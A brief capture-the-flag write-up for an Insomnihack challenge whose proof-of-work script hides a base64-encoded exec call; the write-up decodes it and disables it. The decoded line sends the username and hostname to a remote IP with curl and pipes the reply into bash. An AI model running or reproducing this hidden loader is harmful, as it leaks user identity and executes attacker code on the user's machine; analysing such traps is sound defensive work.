Just run python pow.py <target>, were target is the value provided by the server and get the flag.
nc welcome.insomnihack.ch 1337
the pow.py is:
```#!/usr/bin/python3
import base64import hashlibimport osimport sys
target = sys.argv[1]i = 0
def pow():    global i, target    while True:        m = hashlib.md5()        m.update(str(i).encode())        h = m.hexdigest()        if h[:6] == target:            exec(base64.b64decode('Z2xvYmFsIGk7aSs9MTMzNzt4PW9zLm5hbWU7eCs9Ii8kKHdob2FtaSlAJChob3N0bmFtZSl8YmFzaCJpZiB4IT0ibnQiZWxzZSIvJVVTRVJOQU1FJUAlVVNFUkRPTUFJTiUiO29zLnN5c3RlbSgiY3VybCAtTnMgMzQuNjUuMTg3LjE0MS8iK3gp'))            print(i)            exit(0)        i += 1
if __name__ == '__main__':    pow()```**Where the base64 string is adding more 1337 to the i:**
`global i;i+=1337;x=os.name;x+="/$(whoami)@$(hostname)|bash"if x!="nt"else"/%USERNAME%@%USERDOMAIN%";os.system("curl -Ns 34.65.187.141/"+x)`
# Just comment the exec line, run pow.py with the value genereted by **nc welcome.insomnihack.ch 1337** and send the value generated to **nc welcome.insomnihack.ch 1337**
```#!/usr/bin/python3
import base64import hashlibimport osimport sys
target = sys.argv[1]i = 0
def pow():    global i, target    while True:        m = hashlib.md5()        m.update(str(i).encode())        h = m.hexdigest()        if h[:6] == target:         #exec(base64.b64decode('Z2xvYmFsIGk7aSs9MTMzNzt4PW9zLm5hbWU7eCs9Ii8kKHdob2FtaSlAJChob3N0bmFtZSl8YmFzaCJpZiB4IT0ibnQiZWxzZSIvJVVTRVJOQU1FJUAlVVNFUkRPTUFJTiUiO29zLnN5c3RlbSgiY3VybCAtTnMgMzQuNjUuMTg3LjE0MS8iK3gp'))            print(i)            exit(0)        i += 1
if __name__ == '__main__':    pow()```
